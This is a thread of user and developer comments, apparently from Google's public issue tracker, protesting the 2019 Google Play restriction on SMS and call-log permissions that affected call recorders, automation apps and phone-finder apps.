
Rick Alm

lu...@gmail.com <lu...@gmail.com> #693Jan 9, 2019 04:57AM

+1 For Cerberus. This is ridiculous Google...

/Peter

pa...@gmail.com <pa...@gmail.com> #694Jan 9, 2019 10:09AM

Stupid changes like this done by Google just push more to get applications from other markets than Google Play. Go ahead Google, the more app developers will realize how stupid you are and make their apps available elsewhere, the better.

sh...@gmail.com <sh...@gmail.com> #695Jan 9, 2019 10:31AM

Exemption requirements on this needs to be reviewed. For me this destroys applications such as wheres my droid. There is no replacement. A replacement only exists in a world you can leave your phone with data connection on all the time. But for those with 1Gig a month (or less)........ There is no replacement for applications such as wheres my droid that can receive and send SMS with my permission. Even googles own find my phone needs data. An expensive commodity in many countries that is not affordable yet.

rr...@gmail.com <rr...@gmail.com> #696Jan 9, 2019 10:55AM

Most stupid decision from Google. This will cripple essential apps like Tasker / Cerberus / Call blockers. This will lead also to situations, where users choose to install apps from external sources - and this is definitely more dangerous.
Maybe devs should ask users avowedly for this permisions on first run, as they will be blocked by default. BUT NOT REVOKED FOREVER, for christ sake...!

41...@gmail.com <41...@gmail.com> #697Jan 9, 2019 11:11AM

Sms ile telefon çaldırma, konum alma ve benzeri işleri yapan "where my droid" programının sms alıp, gönderemeyecek hale getirdiğiniz için, "google" seni kınıyorum. Son zamanlardaki kararlarınızla doğru yapıyor. Fakat sapla samanı ayıramadığınız için, ÇDURACAĞINIZ SINIRLARINIZI GÖRMEYİP OK BÜYÜK HATALAR YAPIYORSUNUZ.

WHERE MY DROİD E ÖZGÜRLÜK VERİN

fo...@gmail.com <fo...@gmail.com> #698Jan 9, 2019 03:24PM

Absolutely asinine move by Google. There are about 10,000 ways the intended end result can be accomplished, but Google decides to go with the one route that will cripple core functionality of many popular apps. Way to pull a play straight from the Apple playbook. I sure do miss the days of "Don't be evil"...

cg...@gmail.com <cg...@gmail.com> #699Jan 9, 2019 04:43PM

Google I'm sick of your crap. Every damn release you fuck shit up for developers and strip users of yet another useful feature.

If I wanted a pathetic restrictive api where usability is less important than everything else I would throw my brain away and use Apple.

You were supposed to be the open, dev friendly platform where tinkerers could roam free and make awesome beautiful things for evereyone. And you were.
Well just look at you now Google, now you're a pile of shite.

be...@gmail.com <be...@gmail.com> #700Jan 9, 2019 05:01PM

Why has there been absolutely no comment from Google, despite 714 people (so far) starring this issue?

And if Tasker was granted an exception, why has Automagic not also received the same treatment - it does the same thing, and has every much a claim as Tasker does?

de...@gmail.com <de...@gmail.com> #701Jan 9, 2019 06:18PM

+1 again for Automagic, as it basically can do anything tasker can do.

It is very upset to know that google is not responsive for this chaos they created in the first place. Many devs here and in other forum also complained about similar treatment.

I still hope they really review the app properly and be lenient for the devs which have politely request the permission. Those shady apps developer which abused the call/sms permission should have abandoned their app when google email them about this. They won't bother to change their to comply with it, as they know the permission they use is not the main function. Their shady apps most likely will be removed, so why bother to waste time and energy to think of it. With this kind of not responsive feedback, most likely only legit devs will stay and try really hard to get the approval. So, please be lenient to them. This should have achieved more than half of the purpose (of this restriction) already : creating a more secure Playstore environment.

Remember AviD's Rule of Usability:
Security at the expense of usability comes at the expense of security.

When you restrict users too much from installing legit app from playstore, they will try to find it outside of playstore. Ironicly, in the end, users install more non-official app outside of playstore and having more security issues than before.

zo...@gmail.com <zo...@gmail.com> #702Jan 9, 2019 08:06PM

I chose Google and Android for the freedom and possibilities they represent over the overly protective and restrictive ecosystem of Apple and ios. I am a grown-up who can handle the task of checking the application permissions before installing or updating an application. This change would take away this freedom in exchange for dubiously little protection for those users who are in danger of hurting themselves with their stupidity. Is Google really willing to sacrifice the power users for the sake of those who need the "Warning, the Hot Pocket is hot!" and "Do not attempt to dry live animals in a microwave oven!" warning signs? I truly hope not.

mg...@gmail.com <mg...@gmail.com> #703Jan 9, 2019 10:34PM

Esto es sencillamente una tomadura de pelo, los cambios que puedan impactar en aplicaciones de uso masivo deberían de ser abordados y analizados por un personal más cualificado con el fin de tener contento a la par que seguros a los que hacemos que Google siga siendo lo que es, los USUARIOS.

ah...@gmail.com <ah...@gmail.com> #704Jan 10, 2019 03:43AM

What is this stupid new restriction scroogle is putting on Android? I chose Android after over a decade of using jailbroken iPhones, 'cause I found it to be much more versatile and useful, literally making it possible to have everything I was jailbreaking for readily available on the Play Store! Now you're stupidly making it more and more restricted with next to no gain in security.

Instead of stupidly dictating what apps can use what permission, make it a requirement that app devs explain EXACTLY why they need access to those permissions in an easy and straight forward manner when their app demands that permission! Then have actual employees test those apps before making them available on the Play Store! That's the best way forward for improved security for everyone! Not that you start treating us Android users like Crapple treats their iSheep...

ri...@gmail.com <ri...@gmail.com> #705Jan 10, 2019 11:22AM

Dear Google,
This restriction prevents the functionality of many apps that make android devices such a useful thing. For instance, any of the SMS backup applications provide a way to keep track of the tremendous amount of data and agreement made in business transactions over text. It is absolutely insane not to allow access to SMS functionality by apps across the board, without any exceptions. apps like, where's my droid, that are used so frequently to be able to find lost phones and save a lot of money to the users are now rendered completely useless. You are killing the @marketplace and cannibalizing your own business model. the thing is, people actually need to have this kind of functionality. Therefore all you're going to do is create a larger market for jailbroke phones....or open the door for a competitor to come in such as Windows OS phones that would allow those features, and take your marketshare. Consumers are not as dumb as you think. Or at least android consumers aren't. Let's let the developers come up with a new operating system that does all the stuff that Google used to do. I'll see that happen. And I'll support it. With my money. And so all the other android users that you're just pissing off right now. Way to go Googl,e give away the marketshare ....and open the door for one of the little small niche competitors stomp you.

dr...@gmail.com <dr...@gmail.com> #706Jan 10, 2019 01:49PM

Restricting access to certain features like reading call logs unwarranted. Goggle does not have inbuilt solutions for caller id apps and wants to restrict other apps which have such features. eg I use Call Notes pro to display contact notes on screen for incoming and outgoing calls. how does that affect security?

fe...@gmail.com <fe...@gmail.com> #707Jan 10, 2019 03:29PM

I rely on a couple different apps that use the SMS features such as where's my Droid and I do not like that Android is doing this. I understand the need for security but special permissions should include all apps that don't abuse this system even if those apps need to apply for those special permissions it should be an option for apps like where's my Droid. I'm quite unhappy up to hear about this news

da...@gmail.com <da...@gmail.com> #708Jan 10, 2019 04:14PM

The new restriction that stops "where's my droid " app from accessing my messages sucks it makes this app useless

ch...@gmail.com <ch...@gmail.com> #709Jan 10, 2019 05:27PM

Are there any other apps than Tasker that has been granted the permissions? Personally I'm using Automagic (also a task automatization app), and would not want to see SMS and call related features go away. Still, it looks like they are... because reasons unknown.

Are lesser known apps not getting the permissions because they don't cause as much fuss in the Android community? Are there other reasons behind this mass banning of legit app features? Google can't surly think that every app with these permissions are rouge actors.

Regardless the reason, this situation has been handled in the most poor way possible. So many questions and no answers...

mi...@gmail.com <mi...@gmail.com> #710Jan 11, 2019 07:37AM

The new restriction stops my usage of where's my droid when traveling. I lost my phone in a taxi in Las Vegas a few months ago and it was only thanks to usage of SMS and where's my droid that I was able to find it. As roaming is always turned of when traveling abroad, SMS is the only way to locate the phone.
Please don't make apps that android users depend on unusable!
I am using Android because if the freedom the platform gives me and I would like to see that Google is not removing that!

wo...@gmail.com <wo...@gmail.com> #711Jan 11, 2019 08:38AM

We are an Caller ID and spam protection app. We do nothing else. It is the sole purpose of our app. We asked Google using the permission request form to grant us the necessary permissions. Today I received a notification from Google that they reject this request because caller ID and spam protection is not the core feature of our product. What???

su...@gmail.com <su...@gmail.com> #712Jan 11, 2019 08:48AM

I also received a notification from google saying the requested features are not the core features of my app. But they are! Unbelievable. Shame on Google this time

an...@gmail.com <an...@gmail.com> #713Jan 11, 2019 09:14AM

Most likely, Google will simply remove this ticket and ignore a huge problem. For 3 months there was not a single response from Google...

de...@gmail.com <de...@gmail.com> #714Jan 11, 2019 10:50AM

#709
Automagic hasn't been exempted yet. Martin just update us that Automagic can stay at Playstore until 9 March 19. Although this is just temporary relief, at least we have more time to wait for another good news (be optimistic).

I am OK with the restriction actually, this should have force the shady apps devs to remove those unnecessary permission. Those games or one trick pony app which have nothing to do with call/sms, but ask for the call/sms permission, should be removed. But I can't understand why all call recorder, sms, automation, antivirus/security or any apps those use the call/sms permission as the core function still got rejected. Google already put the exception category, legit devs already try hard to comply to it; they should be granted the permission usage.

Come on google, granting those legit devs the proper usage of the permission won't make the playstore become less secure. It is just the same as before. In fact, it has become more secure already, since the shady apps devs (the app those really has nothing to do with call/sms) most likely won't comply to the new policy. This restriction should have achieved more than the necessary goal.

la...@gmail.com <la...@gmail.com> #715Jan 11, 2019 07:44PM

I am NOTORIOUS for losing my phone and I use the Where's my Droid app constantly to find it. Being able to text from anybody's phone anywhere and immediately find my phone has saved me and countless situations. This has got to be a continuing option for people like me!

ku...@gmail.com <ku...@gmail.com> #716Jan 12, 2019 11:42AM

As a side note, I would make you all notice that even apps that receive green light to use the permissions (only Tasker at the moment, as far as I know), are approved only TEMPORARILY, as specified in the official page (

https://support.google.com/googleplay/android-developer/answer/9047303):

"Google Play may provide a temporary exception to apps that aren't Default SMS, Phone, or Assistant handlers [...]"

It would be interesting to know if there is any mention about the entity of this temporality in the approval email received by the developer of Tasker, or any other eventually approved app.

si...@gmail.com <si...@gmail.com> #717Jan 12, 2019 12:31PM

>>> su...@gmail.com #712 Jan 11, 2019 09:48AM
>>> I also received a notification from google saying the requested features are not the core features of my app. But they are! Unbelievable. Shame on Google this time

Same from me..... I have created a ParkingHeater App and peoples pay money for this.... Core function is sending SMS and Calls to sheduling parking heaters. The user feedback and rating is over 4.6!!!
But the Permissions Declaration Form will always rejected.... Not Core functioanlity? Realy?
After contacting support "Jay" always answer the same default text.....

od...@gmail.com <od...@gmail.com> #718Jan 12, 2019 04:47PM

Such kind of restriction is really bad.
Let the user decide. If you believe that user is stupid then provide new secure way or rework permission dialogs.

What is next step?
* Camera permission - only for camera app (or maybe only for GooglePhoto)?
* GPS permission - only for maps app (or maybe only for GoogleMap)?
* Read calendar - only for calendar app?
* Record audio - only for dicta-phone app?
* Reading SD card - only for file explorer app?
* ...

Almost any permission can by abused by bad app. But why you damaging good apps?!

ja...@karma.net <ja...@karma.net> #719Jan 12, 2019 07:16PM

Very poor management of this. Why bother even having permissions that consumers are empowered with the adminstration of if Google is going to overrule? WTF Google.

to...@gmail.com <to...@gmail.com> #720Jan 12, 2019 10:03PM

My favourite apps stopped working correctly:(
I'm disappointed as an user & a developer.

to...@gmail.com <to...@gmail.com> #721Jan 13, 2019 07:01AM

Many security apps stopped working because of this. Just let the users decide, which level of security they need and the permissions they want to grant.

[Deleted User] <[Deleted User]> #722Jan 13, 2019 07:01AM

As usual a total screw up by the Play policy team and ZERO support for developers caught up in the mess.

I am the developer of MacroDroid and my app qualifies for an exception (I feel deeply for all the great apps that don't), because it is a device automation app (exactly like Tasker). Indeed the appeal form, explicitly lists task automation apps and the permissions as follows:

Device Automation [READ_SMS, RECEIVE_MMS, RECEIVE_SMS, SEND_SMS, WRITE_SMS, READ_CALL_LOG, WRITE_CALL_LOG, PROCESS_OUTGOING_CALLS]

However my appeal does not give me all these permissions because the mythical figure of 'Jay' replies:

The declared feature Device Automation functionality is allowed; but not approved for the specific permissions that are listed in your manifest. These excess permissions ( READ_SMS,WRITE_SMS ) must be removed from your app manifest.
You need to ensure that your app no longer uses these permissions (READ_SMS,WRITE_SMS); failure to do so could result in the removal of your app and may impact your developer account.

But these permissions are EXPLICITLY LISTED ABOVE in the allows permissions for Device Automation apps!

Please employ some human beings that can actually support us when we get nonsense responses like this. At the moment all I can do is repeat the appeal process over and over again until one day your appeal result is consistent with your appeal policy (and the result of Tasker!).

ka...@gmail.com <ka...@gmail.com> #723Jan 13, 2019 09:28AM

+1 :(

pv...@swooby.com <pv...@swooby.com> #724Jan 13, 2019 07:17PM

@#722 I've had the same complaint. It's as if the person(s) that wrote this form don't understand both coherent English or rational/logical thought. They wrote words that, as read, directly contradict themselves.

mr...@gmail.com <mr...@gmail.com> #725Jan 13, 2019 09:21PM

As a user, I would rather have the choice to restrict access to information. If this restriction continues, i will look for solutions other than play store. This is a ridiculous policy.

so...@gmail.com <so...@gmail.com> #726Jan 13, 2019 09:21PM

ACR call recorder Pro version... I paid for this, now you're disallowing access to my contacts & call logs? Who are you to make such a broad decision? How dare you assume everyone is stupid & don't know what we're agreeing to. Or you think we shouldn't be agreeing to something.

It's in the name of the app! In Canada only one party consent is needed to record conversations. Stay out of my business! You're crossing the line!

ga...@gmail.com <ga...@gmail.com> #727Jan 13, 2019 09:23PM

If Google are going to be tossers and block my reasonable use of my own contacts list in an app I already use and own I Amy as well defect and go over to apple.

Fuck you Google.

ga...@gmail.com <ga...@gmail.com> #728Jan 13, 2019 09:24PM

Damn autocorrect

la...@gmail.com <la...@gmail.com> #729Jan 13, 2019 09:24PM

Don't fuck up my call recorder. It's not a secure phone, it's the very same one i use to watch pornography. No secrets of state being tossed over this line. (Or any other, for the mather, who am I? Obama? nobody gives a flying rat about what I say over the phone)

sc...@gmail.com <sc...@gmail.com> #730Jan 13, 2019 09:24PM

Why does the play store even care? What dog do they have in the fight?? Having been put in a bad situation this app and being able to have documented phone calls with what was agreed upon or denied has saved my career many times over. This app protects people so I guess it only makes sense google would get rid of it

fb...@gmail.com <fb...@gmail.com> #731Jan 13, 2019 09:26PM

This will break apps that I *PAID FOR* through the Play Store, and Google took *THEIR CUT* of that transaction, and now is *BREAKING THEM* with no possibility of grandfathering, recourse or workaround? I urge Google to rethink these new restrictions, as they are essentially going to make my (and others) investment in paid apps (purchased from the Play Store, that Google profited from) now practically *WORTHLESS*. If no workaround or grandfather policy change occurs, will Google refund their cut to all users impacted by this policy?

rd...@gmail.com <rd...@gmail.com> #732Jan 13, 2019 09:26PM

Google, give real freedom!!! Let let the app developers ask for permissions but force them to let the app run if the user denied some of them. I need the number of the call I'm recording, I don't want Google to control my needs.

la...@gmail.com <la...@gmail.com> #733Jan 13, 2019 09:26PM

I should have a choice of how my information is handled, even if that means someone else will get a dip of all that user info Google stuffs it's face with.

m....@gmail.com <m....@gmail.com> #734Jan 13, 2019 09:28PM

Please don't remove functionality, finda way to support privacy witticisms removing legimate and good apps such as acr and tablet

do...@gmail.com <do...@gmail.com> #735Jan 13, 2019 09:30PM

ACR has been a blessing to me. Because of this app, I have a recording of the last conversation I had with my son, who passed away on 12-12-2017. I also have a few recordings of phone calls with my mom, who passed away on 12-18-2018. It is such a comfort to me to hear their voices. As it stands now, I can easily find their phone calls whenever I want to listen to them.
In addition, recording phone calls without permission is legal in the state of Texas. You should not be able to prevent me from doing something that is legal in my state.

en...@gmail.com <en...@gmail.com> #736Jan 13, 2019 09:30PM

I use call recording app for numbers not in my contacts. Just in case I get some ugly scam call. So far I recorded only few general ones. This will hoverer cause recording apps to lose this feature. I am tired how Google is removing one features after another from users controls and becoming more like iOS.

no...@gmail.com <no...@gmail.com> #737Jan 13, 2019 09:31PM

I'm a user of ACR, an app that does this. I PAID for my app to do this. I WANT my app to record the phone numbers of my calls, on purpose. I do this now and it's literally saved me hundreds and hundreds of dollars, being able to prove that customer service agents are lying. I'm currently using a file recorded in ACR to get money owed to me by my health insurance company. Why are you taking rights away from your users? It's my choice to have my app record numbers, and now I'm going to have to get the app from elsewhere

ga...@gmail.com <ga...@gmail.com> #738Jan 13, 2019 09:32PM

Never expected Google to be so restrictive! If the user is providing the requested permissions how can texhnogy be denied? Many apps and users legitimately require the functionality you are now removing. In my case it affects the call recording app I use - ACR pro.

si...@gmail.com <si...@gmail.com> #739Jan 13, 2019 09:33PM

Let this comment represent that I am also dissatisfied with the forced variation of app permissions against the ACR app

jo...@gmail.com <jo...@gmail.com> #740Jan 13, 2019 09:34PM

For a company that records, tracks and spies in ever possible way on their users; this is one huge load of double standard crap. Change your policy and let the apps that I paid for do what I paid for them to do. If I don't want them to have I will just turn off the permission (which I can do, unlike with your apps and features).

ne...@gmail.com <ne...@gmail.com> #741Jan 13, 2019 09:34PM

Please stop making our apps worse. I paid for several apps to do what it does.. Don't break these apps.

ro...@gmail.com <ro...@gmail.com> #742Jan 13, 2019 09:34PM

I rely enormously on ACR for my own safety and security and it has saved me from harm more than once - crippling it will mean I have to swap platforms for one that allows automated call recording.

t....@gmail.com <t....@gmail.com> #743Jan 13, 2019 09:34PM

Google please reconsider. ACR is great software.

vi...@gmail.com <vi...@gmail.com> #744Jan 13, 2019 09:34PM

I'm here to complain about the new policy from Google on Google Play apps. Call recording apps should keep getting access for those numbers.

ji...@gmail.com <ji...@gmail.com> #745Jan 13, 2019 09:35PM

If this restriction comes in to place and makes apps I have paid for useless I will leave the android and Google ecosystem. If they think this change is okay who knows what they will come up with next?

ne...@gmail.com <ne...@gmail.com> #746Jan 13, 2019 09:35PM

Please give exceptions to ACR and Tasker! Literally the only two apps that keep me on Android and using the Play Store.

ne...@gmail.com <ne...@gmail.com> #747Jan 13, 2019 09:36PM

Why does Google think it has any right to apply this restriction to begin with? This phone is my property not yours it does not belong to you Google it belongs to me

I think it's time to Fork Android and leave Google behind

va...@gmail.com <va...@gmail.com> #748Jan 13, 2019 09:36PM

Horrible move! A call recorder is one of the few types of app that empowers the user. I've used it for a few yeats niw and it helped and protected me through some difficult situations. To deny these features under the pretext of "protecting" users is either dishonest or foolish. Or both.

ga...@gmail.com <ga...@gmail.com> #749Jan 13, 2019 09:37PM

Please allow ACR and other similar call recording apps to have permission to identify calling/called numbers. Otherwise it'll be impossible to identify which recordings are which, and which shouldn't be kept.

sl...@gmail.com <sl...@gmail.com> #750Jan 13, 2019 09:40PM

Google!! Let people controll what they whant to share to apps, please!! For some special permissions maybe you could make more strong quastions ans harder for people to give that permissions. Please stop making bad for normal people while protecting fools.

en...@gmail.com <en...@gmail.com> #751Jan 13, 2019 09:41PM

Stop fuxking around with my phone Google! I've been using Android and the Play Store because it didn't have draconian rules like Apple App Store. What the heck is wrong with you people?! I've been using ACR Pro (paid version) to record my calls for security reasons. What use is it if it doesn't record the phone number being called?!

ba...@gmail.com <ba...@gmail.com> #752Jan 13, 2019 09:41PM

As an Android Developer and an avid Android user, I believe this is the most disastrous decision by Google yet! I constantly try telling my iOS friends to consider switching to Android for the freedom and flexibility but this is one step to making Android just as bad as iPhone. Additionally, I can think of five apps (Two I paid money for) at a minimum on my phone that presently use these permissions and will be severely crippled by this decision - none of them have received an exception for god knows what reason. I suggest you at least be a little more liberal about giving out those exceptions if you make this final.

ja...@gmail.com <ja...@gmail.com> #753Jan 13, 2019 09:41PM

My liberty is literally on the line if I don't have evidence of phone calls (acr). Please undo this policy, so I can have evidence in case someone misplaces my paperwork. 100% guarantee I will switch to iPhone if I'm unable to record calls on my Android phones.

he...@gmail.com <he...@gmail.com> #754Jan 13, 2019 09:42PM

Google, you need to rethink these changes. I'm an ACR user, for my protection and that of my children. I must have the ability to record certain phone calls!! It is legal in my state!! I really am beginning to think Google is getting a little big for its britches, and I'm starting to lose trust in Google. You have all the tools to spy on us, but cripple us from using the products designed for our needs. Bad move!

wi...@gmail.com <wi...@gmail.com> #755Jan 13, 2019 09:42PM

I'm not happy that Google has changed policy.
ACR is an excellent app.
Please reconsider as I do not want to use a third party app store to get software that might not be safe.

an...@gmail.com <an...@gmail.com> #756Jan 13, 2019 09:42PM

This will destroy one of the most useful and used apps on my phone. I rely on it personally and professionally.

Please reconsider this serious degredation to the Android experience.

ri...@gmail.com <ri...@gmail.com> #757Jan 13, 2019 09:43PM

Why is Google deciding on how I have to use my smartphone? Please don't change these permission settings, as both Tasker and ACR will stop working properly for me.

an...@gmail.com <an...@gmail.com> #758Jan 13, 2019 09:44PM

Why in God's name would Call Recorder apps like ACR be prevented from accessing call logs and incoming/outgoing calls? These functions are essential to what a call recorder is supposed to do! I paid for this app to be able to do what it does. My state and most others are 'one-party' consent states, but call recorder apps seem to get a short leash or banned altogether just because of Cali & NY. Ill-considered policies like this will cause the eventual death of the Play Store. There are already alternatives (Amazon app store or direct .app downloads, for instance)

pi...@gmail.com <pi...@gmail.com> #759Jan 13, 2019 09:44PM

Please reconsider this permission denial to ACR (automatic call recorder) . I will have to use a different phone

ma...@gmail.com <ma...@gmail.com> #760Jan 13, 2019 09:45PM

Don't go breaking all this functionality.

If you cripple Android and apps, you've given everyone another reason not to use Android.

ai...@gmail.com <ai...@gmail.com> #761Jan 13, 2019 09:45PM

I want to express my concern as well. While I understand accessing such information is a security risk for some users, the new rules seriously affect the way we currently use our devices. I rather have the option to be vulnerable and have the functionality enabled than having it completely eliminated.

Android team, please give it some more thought.

th...@gmail.com <th...@gmail.com> #762Jan 13, 2019 09:46PM

As with other states one party notification is **legal** in my State but that's not the main issue I think.

There is no reason to prevent a qualified app from accessing the name and number, let alone if they are already in my contacts. This seems to be a inept decision of hindering useful storage and retrieval upon **my request** and may open up Google to class action lawsuits including criminal charges from States that already have laws regarding this. I really don't appreciate being grouped by Google as security unconscious. That forced projection is both arrogant and ill advised. Google should probably fix their other security issues first before attempting to monopolize the security landscape.

It is highly recommended that Google finds an alternative way to protect whatever they deem a security risk and allow end users to use their rightfully owned products in an effective manner instead of hindered by incredulous newer policies. e.g. Please try not to make me dislike Google any more and don't hinder applications that need these permissions. Improve the notifications if needed but don't be inept.

le...@gmail.com <le...@gmail.com> #763Jan 13, 2019 09:47PM

A lot of people needs the functionality you want to limit and this cannot be the right solution to whatever the problem you're trying to solve. Don't make Android like iOs and its limitations! Thanks.

go...@gmail.com <go...@gmail.com> #764Jan 13, 2019 09:48PM

I love call recording!! Google, please don't turn into horrible and restricted Apple...

ACR, you are the best!!!

ol...@gmail.com <ol...@gmail.com> #765Jan 13, 2019 09:48PM

Seriously?! First the crap about not letting 3:rd party call recording software be able to work on Android P, now this crap about permissions?!

I have been a faithful Android user ever since my first smartphone, but this is considering me to purchase a phone running something else since Google obviously don't want its customers to be satisfied.

br...@gmail.com <br...@gmail.com> #766Jan 13, 2019 09:49PM

Hey Google, I thought you were about freedom of collecting and organizing information rather than restricting it and breaking functionalities of useful applications. I buy Android products because they are more flexible and less restricted than Apple devices. By making these types of changes, you're starting to look like Apple. Don't be Apple. Be Google. Don't break my ACR app. It should be my choice whether I want an app to use the information on my phone.

al...@gmail.com <al...@gmail.com> #767Jan 13, 2019 09:50PM

I use ACR in my professional capacity as a lawyer to record calls. Why are you removing valuable functionality?

gr...@gmail.com <gr...@gmail.com> #768Jan 13, 2019 09:50PM

@Google - stop playing ethics police when you aren't going to fairly enforce 'ethical' standards across your whole platform.

When mega corporations can record their calls, why can't I? NO KIDDING, ACR saved me (literally) thousands of dollars when a Verizon Wireless CSR changed my plan from an old grandfathered plan to a limited plan (several years ago). I've since learned to hawk my bill.

Only beause of my recording was I able to produce evidence against the Executive Relations team and effective get a reversal back to my old plan - even when I was told that could NEVER be done.

Also had evidence against Comcast that resulted in me saving $1,850 in my total home internet bill. We routinely used over 300 gb a month and faced serious overages.

Google needs to immediately stop this banning practice and allow ACR to continue operating as before.

ma...@gmail.com <ma...@gmail.com> #769Jan 13, 2019 09:51PM

I think this shouldn't happen. Sure, i'm all for a security based approach. However you should give the user the control over what permissions are granted, (maybe even in a new "Advanced" mode maybe)

I use ACR, and phone automation software, and they are the reason that I use android. If I can't run the features I want, when is it "my phone"?

I'm starting to think I should be advising people not to use google products professionally now...

pa...@gmail.com <pa...@gmail.com> #770Jan 13, 2019 09:52PM

Es una política propia de los nazis. Google se convierte en dictador fascista por cambiar las reglas de juego a mitad de partida. Espero que rectifiquen. ACR es la mejor App del mercado

pi...@gmail.com <pi...@gmail.com> #771Jan 13, 2019 09:52PM

The user should have this right not google. If we choose to allow acsess, let it be. Warn us if you must but do not decide for us. ACR call recording app is very usefull and this is the second policy change in a short period that has negativly effected it. You claim to be for the people but restrict the people and negativly effect providers of apps on your platform. You heading on a path that will end worse than windows and apple combined. Your blackberrying your selves.

vi...@gmail.com <vi...@gmail.com> #772Jan 13, 2019 09:52PM

OK, Google, you really are going too far now! I suffer from certain things that make recording phone calls a NECESSITY! How dare you think that you can interfere in my personal life to this degree! Why don't you stick to blowing hot air about your politics and cramming your social agenda down people's throats and stop trying to actually run our most intimate personal affairs! I don't need you telling me how to live my day to day life! Go get your own! It's not bad enough you steal back cloud space from us and dictate what we should see in maps instead of just a flippin map?! You're not HAL!

am...@gmail.com <am...@gmail.com> #773Jan 13, 2019 09:54PM

I use ACR Call Recorder. It is a base functionality for me . Please reconsider excluding call recorder apps from this new rule.

be...@gmail.com <be...@gmail.com> #774Jan 13, 2019 09:54PM

Please change this policy! I purposefully purchased and paid for ACR for professional and personal reasons. I need to have all their features to use it successfully! This broad policy is not useful or best for this type of app because it is the sole purpose of having the app. Please do not make customers go elsewhere to find the important apps we need. I understand there are apps that do not need these features to function, but there are those who must because that IS their purpose!

pb...@gmail.com <pb...@gmail.com> #775Jan 13, 2019 09:55PM

I would also like to ask to allow apps like ACR to have permissions to that they require to make the apps functional. The least you can do is to add extra permissions that can be enabled for specific apps.

jj...@gmail.com <jj...@gmail.com> #776Jan 13, 2019 09:56PM

I use Android because I like choice and customization. I like to use a device that I paid a lot of money for in the way I want and not be told how to use it. I understand the need for security, but not by taking away choice. Having a permission pop up that clearly states what it will be used for is all that is required Or have certain functions disabled by default, but give users the ability to enable them under developer settings, the the user made a conscious decision and it is on that person. If I want to be told how to use my device and have an OS with limited functionality I might as well go to iPhones horrible iOS. If Google is going to do this then they need to build features like tasker into the OS.

ni...@gmail.com <ni...@gmail.com> #777Jan 13, 2019 09:57PM

I feel I should have the right to determine what I want, not be dictated to by Google. I like ACR and have ZERO PROBLEMS with allowing it access access to my data. This is horrible Google.

o....@gmail.com <o....@gmail.com> #778Jan 13, 2019 09:57PM

This is using a mallet to crack a walnut. Security is incredibly important, but so is informed choice, surely.

st...@gmail.com <st...@gmail.com> #779Jan 13, 2019 10:00PM

I also use both ACR and Tasker. AcR for work purposes.
Googles now going to go all authoritarian on us and instead of enabling us to work better, they're going to take away our right to CHOOSE to use these features and apps.
I remember when google was the plucky underdog, fighting the big monied bad boys...Sad to see Google become the tyrant.

ie...@gmail.com <ie...@gmail.com> #780Jan 13, 2019 10:01PM

Policies should be applied to benefit users, not to harm them, and myself, as an user, should be able to choose by myself rather I'll give or take any permissions away from any apps, or else, I could simply choose not to use some app. However, I feel extremely upset when I realize Google or any other enterprise takes away my right to choose how I'll manage my own stuff, then, i might just want to change my smartphone and everything from my accounts, to another one, that would allow me to choose freely how I use my apps.

da...@gmail.com <da...@gmail.com> #781Jan 13, 2019 10:02PM

Why disalllow this feature? Its a must have in any Call Recorder App!
Google, please stop it.

vl...@gmail.com <vl...@gmail.com> #782Jan 13, 2019 10:02PM

Пидорасы

bj...@gmail.com <bj...@gmail.com> #783Jan 13, 2019 10:02PM

I think most things I would say have already been said (e.g., #49, #128, #131, #530, #537, #554) but I also want to highlight the additional insult of having this issue at P3/S3. If this issue is P3/S3 despite, e.g., #509, #517, #518, #519, #532, #679, #711, #717, and #722, what it the world qualifies something as a P2 or S2 issue? Please consider the economic and reputational impact you think this will have on both Google and the Android user base and consider at _minimum_ upgrading the priority and severity of this issue.

an...@gmail.com <an...@gmail.com> #784Jan 13, 2019 10:03PM

Google new policy about restriction in ACR app doesn't make sense. Since the user is informed about giving access to HIS phone in HIS phone catalog and he also asked again and tick the I AGREE tick what's the reason to forbid this option? We have democracy and users are the owners of their phone hardware and software they like to use. Beside, there is a logical reason why ACR app need this parameter to have access so lets be honest. GOOGLE WHY? EXCEPT IF THERE ARE OTHER PLANS TO PROMOTE OTHER COMPANIES APPS..... I HOPE NOT... LETS KEEP ANDROID AWAY FROM IPHONE STRATEGIES

al...@gmail.com <al...@gmail.com> #785Jan 13, 2019 10:04PM

This is insane, please let call recording apps work as they should

gv...@gmail.com <gv...@gmail.com> #786Jan 13, 2019 10:04PM

As an avid user of Google products it was with pride that our phones and apps could be used without over bearing restrictions. This policy is the first of what I'm sure Is many to come that will go against what I believed Google stood for. This is a very depressing thing to find out and feel it's not in align with what customers want, as there are apps that we paid for that will no longer be usable as we expected.

hm...@gmail.com <hm...@gmail.com> #787Jan 13, 2019 10:04PM

No need to restrict these features from the Apps. Just make sure the Apps acquire the permisson from the user and we have a much more practical phone. Call recordings are important and make people responsible what say, especially for verbal contracts, people with disability, protection from cyber bullying, harassment, and much more. Permisson from user is all it needs. No need to restrict app developers from integrating such functions with proper access. Thanks!

ma...@gmail.com <ma...@gmail.com> #788Jan 13, 2019 10:05PM

This is a huge step back for android. Why not give this choice to the user why make such a drastic and limiting decision? This is a bad thing that will complicate everything on so many levels. I thought android was an open system but you are driving customers away with things like that. Earn and lock but give choice!!! Bad move Google! I will consider alternative.

ma...@gmail.com <ma...@gmail.com> #789Jan 13, 2019 10:05PM

No, no ,no, Google please! I've been a a loyal android user for years, but if android and apple have the same limitations then we may as well switch to the company with the better camera! This update is crazy and unnecessary!

ke...@gmail.com <ke...@gmail.com> #790Jan 13, 2019 10:06PM

I find it ridiculous that I have given ACR my permission to record my calls. It was my decision. And now Google Play says I can't use it for security reasons. I know it is. But it's a total I'm illing take. I also know it is due to some regulations in other countries. But I have this app for reasons that aren't malicious. 1. Someone I know is dying and this is a great way for me to be able to look back and listen to us laughing and all. 2. If someone else is worried that I am recording them, then maybe they should not be acting in a way that they should have to worry. I'm just saying.

sg...@gmail.com <sg...@gmail.com> #791Jan 13, 2019 10:06PM

I use ACR and find it highly unsatisfactory that google removes functionality of legitimate apps, while having all of the store swarmed with malware. As a user, I believe, I should have control over call log access, not a random hipster at google with a god complex.

c....@gmail.com <c....@gmail.com> #792Jan 13, 2019 10:07PM

I have a neuropsychiatric disability (dysexecutive syndrome, which among other things affects my attention and memory) and use ACR to help me remember details of calls, like for appointments and such.

Does this policy change allow for any call recording apps at all, or will those of us who need to record our calls no record our calls no longer be able to do so? If yes, why not ACR (which works really well for me)?

co...@gmail.com <co...@gmail.com> #793Jan 13, 2019 10:07PM

I just received a notice from ACR that says recording apps are being further restricted by removing their access to the call details permission.

